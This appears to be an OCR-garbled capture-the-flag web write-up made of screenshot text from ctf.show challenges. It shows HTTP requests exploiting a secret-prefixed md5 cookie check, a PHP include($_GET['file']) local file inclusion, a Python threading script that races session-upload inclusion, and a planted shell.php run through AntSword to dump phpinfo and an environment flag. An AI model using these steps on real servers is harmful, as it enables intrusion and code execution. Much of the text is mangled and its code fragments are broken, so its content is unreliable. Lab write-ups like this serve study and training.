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Host: e5601a47-5449-4ff5-a434-c8162fb4e521 chall. ctf show Server: nging/1.14.0 (Ubuntu)
User-Agent: Mozilla/5.0 (Windows NT 6.1, WOWEB4; rnv:56.0) Gecko/20100101 Date: Wed, 04 Nov 2020 06:51:46 GMT
Firefox/26.0 Content-Type: text/html; charset=UTF-3
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 */*q=0.8 Connection: close

Accept-Language: zh-CN,zh;q=0.8 en-US;q=0.5 en;q=0.3 X-Powered-By: PHP/T.3.11
Accept-Encading: gzip, deflate el

Content-Type: application/x-www-form-urlencoded

Content-Length: 10 flag{h35cd295 860 46a1952a-afalbaaalade}
Referer: http://e5601a47-5449-4f5-a434-c8162fb4c521. chall. ctf show/index. php

¥-Forwarded-For: 8.6.8.8
Connection: close
Upgrade-Insecure-Requests: 1
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Request

Raw | Headers | Hex

Target: hitp://fb3635¢6-3b8a-41dd.b976.c98278ce beef. chall.ctf.show 7

Response

Raw [ Headers | Hex | HTML | Render

GET [ HTTP/1.1
Host: f3635¢6-3b8a-41dd-b976-cI827Bcebesf.chall.ctf.show

User-Agent: Mozilla/.0 (Windaws NT 6.1; WOWBE; 1v56.0) Gecko/20100101 Firefox/56.0
Accept: text/html application/xhtml+xml application/xml,q=0.9,,q=0.8

Accept-Language: zh-CN zh; 0=0.8,en-US;q=0.5 &n:=0.3

Accept-Encoding: gzip, deflate

X Forwarded-For. 8.8.8.8

Connection: close

Upgrade-nsecure-Requests: 1
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HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)

Date: Wed, 04 Nov 2020 07: 15:52 GMT
Content-Type: textihtml; charsst=UTF-8
Connection: close

Flag flagf428fce7b-2439-4bcd-ada0-60s9c 1 ecIBbE)
XPowered-By: PHP7.3.11

Content-Length: 14639

<html lang="zh-CN">

<head>
<rmeta http-equiv="Content-Type" content="text/html; charset=UTF&" />
<mata name="iswport” content=" dih, mi o=1.0 le=10, initial-scale=1.0" />
<title>etf.shows/title>

</head>

<body>

<center>

data:image/png; haseBd \VBORWOKGgoAAAANSUREU gAAABAAAEHCAY AAAASTINLAAAACKBIVKMAACHAAAUF pTI2AAAABG dBTUEAALGOMPI
RKWAAACB]SFUNAABEQAAGIMAAPTAACASRAAITAAADDIAAABMAAAR 2+SXBY G AAACHEIEGQVRA2uzZd7 XWhyALGBCATB3: Cs ytwGwFJhV YWVAF XBdF
WEKWCKBUEVTByBUEVBFUQqY KVIYDIMMMMAGCI B9z d0zEQKIDgmeG Y ebm7 e1NAAAAAIVDA0 AMAAIPWDAAAAIFWDAAAA FWDAAAACNIHig
3N zcUwBAkkJJg2Z2Up K75 GKmlddwn YTCY gRB326AAAMI Og77 Exd Q0I3NB72N1tpy CS2QrCI2An/hHBAAA /aF cokadSBF +yspWAICKWZIMQUgn/A
AAQUE X3 c0qMDBLINOpRNQVGIC27 4B QAALZp+uVIBIVVQUALRE AAKB msaTRjq3 Ty10v Y BTo9gMABCSGAARIK-+UHw+1lthMdP s Z00hGB AAAKJESEWU
M xrQViuRgVKKBONByzBALBnNVr-++ySU2y3/5420qgDZcN]0BwBAAl oS yQy -+dbjd G +ZgwhxmxNDALEFAABQI D7mXIDSheD +mxPuGaNGPgHAACiA8 M zju
RGTVNGKgAaPfoBWEAB0S]D7 /XZpL+TS 2/ESAXC Dihs SIGEAIPWj49ng/2 TyevhLZmQgwisl wAAEPAHKE 3] OVAE dx aGILZEvARSEW2 gBAADgNRI+iXp KBHI25
F338Q/gEAWEDAMt afimgeN/NWMGE| QP gHAABS D/2x TEV/IBUB DAIDIGIAG Ewg0BXnlglACP-+F cQPWRZ4SWP 12k 7 +93F a+90v7 m o7V ShCWISB SIOAF dwE
2U0ZWBWUES0 g30WIpYUNSMYOJX6 152D K52 pDIVMY 2AcD 0+ GIUHA DW|0087 ac0D3V AC 36 Thm3F ALBy sLGVGC TIEWAWTIHMDBOEMBEG hnni2 Tdfal tp
2a/H-+DnWIpK QMJx ZWAMBTNRIAfcIh3 e uvl 29vbizLkdimBrmvUUy E3XR xec605mG0 Ghi3 +uOfPEHNYAPcUku0Lw2R7kEpmWokSmyxAA0BIBmavSkRiGs
YBEBOHAH/B 6. x34mBIRN2LRYELSV 2E9ICAYAACHWIMINZ FE383 Us pARD +hy 2UaS V5 oih-+c yBz2+NXWXEIKBIACE Y ghu s2oli JCKZWSTiq wR QAAIVA
BBETWHISOBA/C/3AOMDMx-+gE Ao HBEMES Y zM zbQIACGT ABAQF cm'Y pKuNiOARD++ymULTRI! < UACQBI5 orW/CwIF AMJAG2SH IS Nz [ JSTR aRgs+16213
win/+d4dwA YLWCG/ySat2-+NUL Awn/TGWE +LR5aTSbPTA7iFX/EGGLCxUD3/7 MHIwaBoD+mkvERDEAIPYIF si0kLTRx WejdzPjdtiCsMXxy5 O+TKIRYH/SIQkA
SOMLNP ZwzO7 CiilA4d99USnx6 Js+GMToz6RXa7 u+GU/mhrHQPIy6 B xrOF0S W F2n-+LiWTaPqIPKY ajwtOL D eHZhmTsPEVDAddSkn g3 TVBHISt v WhIKQ
WBPNBMHKgLIAR 1wty Windohy3rePpQ3XDyXzcWEK217 kekmTOAH4 bENQhKB24hy Sh2mGyYLKpTAvol LGKAACMSaD2uqzCdNuN7 YPQDBJOxVize 7 1A
WVInW2yFVB Ch2QQsUAPTVXIbjS /& F 2F WiBCUBWN +/2kKr0UhGSzCARQPIIEZIMTVAAC -+ y2EMM1NxXD19qPypelFna XRNG TSNLMV
AADAISZiot5rCr1 Of0BNSEIGF b4D2R: bvaY oKEaBe xxMzJe V17 TnY v/ QP afSPBPYESNVKmFZVWAQBAW aitX +nfZ/7 BaEelPw3
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error_reporting(0);
$file=$_GET[ Iz
$file=$file.
echo $file.

if(preg_match( »$file)){

include ($file);
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N T| = @ SQLr XS+ Encryptions Encodingr Others

@ Load URL__F 59876-02d c-4bc0-aef7 hall.ctf.sh.
s% Split UR name=admin
Split &pass=1

»)  Execute

Enable Post data [] Enable Referrer
Post data

username/password error
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S cookie +
.
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€8 http://642b9876-02dc-4bc9-aef7-Obeffdb320d6.chall.ctf.show
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?name=admin

&pass=de73312423b835b22bfdc3c6da7b63e9

64eb9876-02dc-4bc9-aef7-0bcffdb320d6.challct... / Tue, 15 Dec 2020 00:32:06 G...  Tue, 03 Nov 2020 08:32:06 G...

BBE&aEx

Hash; *de73312422b835b22bfdc3c6da7b63e0"
CreationTime: *Tue, 03 Nov 2... 08:32:06 GMT*
Domain: *64¢b9876-02dc-4b...6.chall.ctf.show”
Expires: *Tue, 15 Dec 2020 00:32:06 GMT*
HostOnly: true
HitpOnly: false
LastAccessed: “Tue, 03 Nov 20... 08:32:06 GMT
Path
Secure: false

de73312423b835b22bfdc3cd... false
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GET /?name=admin&pass=de7 3312423L835b22bfdc3c6darhE3e9 HTTPA .1

Host: 64eh8876-02dc-4bc9-aef7-Obcffdb320d6. chall. ctf. showX

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWE4; n:56.0) Gecko/20100101 Firsfox/56.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 %" ¢=0.8

Accept-Language: zh-CN zh;g=0.8 en-US;q=0.5,en;q=0.3

Accept-Encading: gzip, deflate

Cookie: Hash=de73312423b835k22bfdc3c6dar hE3ed

X-Forwarded-For: 8.88.8

Connection: close

Upgrade-Insecure-Requests: 1

=

HTTR/1.1 200 0K

Server: nginx/1.14.0 (Ubuntu)

Date: Tue, 03 Nov 2020 08:33:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 165

Connection: close

Wary: Accept-Encoding

X-Powered-By: PHP/7.0.33

<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php™;
<fscript>
<html>
<l-md5($secret. $name)
</html>

=fpass ~>
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[GET /Mfiflag.php HTTP/1.1

Host: 642h8876-02dc-4bc3-aef7-0beffdb320d6 chall ctf show

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWB4; v:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html application/xhtml+xml application/xml; g=0.9 **;q=0.8

Accept-Language: zh-CN zh;¢=0.8,en-US;q=0.5 &n;¢=0.3

Accept-Encoding: gzip, deflate

Cookie: Hash=de73312423h835h22bfdc3c6daTbB3e3

X-Forwarded-For: 8.8.6.8

Connection: close

Upgrade-Insecure-Requests: 1
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Request
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HTTP/1.1 200 OK

Server: nginx/1.14.0 {Ubuntu)

Date: Tue, 03 Nov 2020 08:36:04 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 216

Connection: close

Vary: Accept-Encoding

X-Powered-By: PHP/7.0.33

T

<htrl>

<head>

<script language="javascript” type="textfjavascript">
window.location.href="404.html";

<[script>

<title>yesec want Girl friend</titl=>

</head>

<>

<hody>

include($_GET["file"])</hody>

</html>

Response

Raw | Headers | Hex | HTML | Render

(GET ffilffag.p p: basebd g php T TP/1.1
Host: 642b9876-02dc-4bcS-aef7-0bcffdb320d6. chall ctf show

User-Agent: Mozilla/5.0 (Windows NT 8.1, WOWE4; 1v:56.0) Gecko/20100101 Firefox/56.0
Accept. tzxt/htmlapplication/shtml+xml, application/xmi;q=0.9,"*;q=0.8

Accept-Languags: zh-CN zhq=0.8,en-US;q=0.5,5n,0=0.3

AcceptEncoding: gzip, deflate

Cookis: Hash=ds73312423b835h22bfdc3cBda7be3e9

X-Forwarded-For: 888.8

Connection: close

Upgrade-Insecure-Requests: |

html
head
script language type
window.location.href
script
title>yesec want Girl friend</title
head

$file=$ GET[
if(preg_match(
die( )5

1
b
@include($file

html
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,$file)){

HTTP/T.1 200 0K
Sener: nginx/1.14.0 (Ubuntu)

Date: Tue, 03 Nov 2020 08:39:31 GMT
Content-Type: text/htmi; charset=UTF-8
Content-Length: 664

Connection: close

Vary: Accept-Encoding

X-Powered-By: PHP/7.0.33

<html>

<head>

<script language="javascript" type="text/javascript'>
window.location href="404.html";

<Iscript>
<title>yesec want Girl friend</title>
<Ihad>
<
<body>

jxos X 1YWIPSJqYXZhcZNyaXI J0ZXhOL2phdmFzY3JpcHQiP gogICAgICAgICAgIHdpbmRvdyS

17 Cjwve2N gd2Fud “jwva GVhZDAKPD4

KPGJvZHk+ Cjw/cGhwCi 107G 0¥2g0Jy9KYX COpeycsIGZphGUpKXsKCWRpZS
anbm9ub25vJyk7 Cr0KQGIuY2x1ZGUoJ GZphGUp OwplVZhvICs ZAKPC9ib2R5Pg0BL2h0bWw+ Cg—=incl
ude(§_GET["file"])</hody>
<fhtmi>

T




@$name=$ GET[
@$pass=$ GET[
if(md5($secret.$name) $pass){

echo

5
}else{
setcookie( ,md5($secret.$name),time()+3600000) ;

]

md5($secret.$name) $pass
html

BFimidata. input. zip, % session A& HEE

requests
threading

def POST(session):
while True:

T io.BytesIO(b 50)

session.post(
host,
data={

3

files={ : , )1,
cookies={ :sessid}

def READ(session):
while True:
response session.get(f

if in response.text:

print(

else:
print(response.text)
sys.exit(®@)

with requests.session() as session:
tl = threading.Thread(target=POST, args=(session, ))
t1.daemon True
tl.start()
READ(session)

BN EARG




http://5d6bbo

-e82d-4a68-b50b-8fd858a7c6ea.chall.ctf.show/shell.php

antswordi&#:, RILBIEIRE, #idphpinfo disable_functions

default_mimetype

text/html

text/html

disable_classes

no value

no value

ST unctions

pentl_alarm, pentl_fork pentl_waitpid, pent]_wait,pentl
_wifexited, pentl_wifstopped, pentl_wifsignaled,pentl_
wifcontinued pentl_wexitstatus, pentl_wtermsig,pentl
_wstopsig,pentl_signal, pentl_signal_get_handler, pcnt
|_signal_dispatch,pentl_get_last_error, pentl_strerror,
pentl_sigprocmask, pentl_sigwaitinfo,pentl_sigtimed
wait,pentl_exec, pentl_getprionity, pentl_setpriority,pc
ntl_async_signals, system,exec shell_exec,popen,proc
_open,passthru,symlink link,syslog,imap_cpen,ldmai
| scadnir,readfile show_source,fpassthru,readdir

pentl_alarm,pentl_fork, pentl_waitpid, pentl_wait, pentl
_wifexited, pentl_wifstopped, pentl_wifsignaled, pentl
wifcontinued pentl_wexitstatus, pentl_wiermsig,pentl
_wstopsig, pentl_signal pentl_signal_get_handler, pent
|_signal_dispatch,pcntl_get_last_error, pentl_strerror,
pentl_sigprocmask, pentl_sigwaitinfo, pentl_sigtimed
wait,pcnt]_exec,pentl_getprionty, pentl_setpriority,pc
ntl_async_signals, system,exec,shell_exec,popen,proc
_open,passthru,symlink link,syslog,imap_cpen,Id,mai
|.scadnir,readfile show_source fpassthru, readdir

1## &K phpinfo, & ¥lflag

4 Load URL http://5d6bb0b0-282d-4a68-b50b-8fd858a7 c6ea.chall.ctf.show/shell.php

4 split URL
»)  Execute

Enable Post data
Post data cmd=phpinfol);

[ Enable Referrer

Environment
'APACHE LOG_DIR Jvar/log/2pache2
LANG c
HOSTNAME 6lebafleadSl
'APACHE_CONFDIR Jetc/apache2
'APACHE_LOCK DIR #varflock/apache2

PHPIZE_DEPS.

autoconf dpkg-dev file g++ gec libe-dev make pkg-config re2c

GPG_KEVS

1A4EBB7277CA2E53DBAICTBIBCAAIOEASCODS763 GEAFGAB321FDCOTF2C332E3AC2BFOBCA33CFCEB3

PHP_EXTRA_CONFIGURE_ARGS.

~with-apxs2 —disable-cgi

PHP_ASC_URL hi h php-7.0.33:t
PHP_CFLAGS ~fstack-protector-strang -fpic -fpie -02
PHP_EXTRA BUILD_DEPS apache2-dev

PWD Juarwewwfhrml

PHP_LDFLAGS -WI,-O1 -WI,--hash-style=both -pie
'APACHE_RUN_GROUP www-data

/APACHE RUN_DIR var/run/apache2

PHP_INI_DIR Just/local/ete/php

PHP_URL h h php-7.0.
'APACHE_ENVVARS Jetc/apache2/envvars

PHP_CPPFLAGS

~fstack-protector-strong fpic -fpic -02

'APACHE RUN_USER

www-data

FLAG

lag{674e1b0b-8dec-431d-8036-599dabaddesb}

PHP_VERSION

7033

'APACHE PID_FILE

Jvar/runfapache2/apache2 pid
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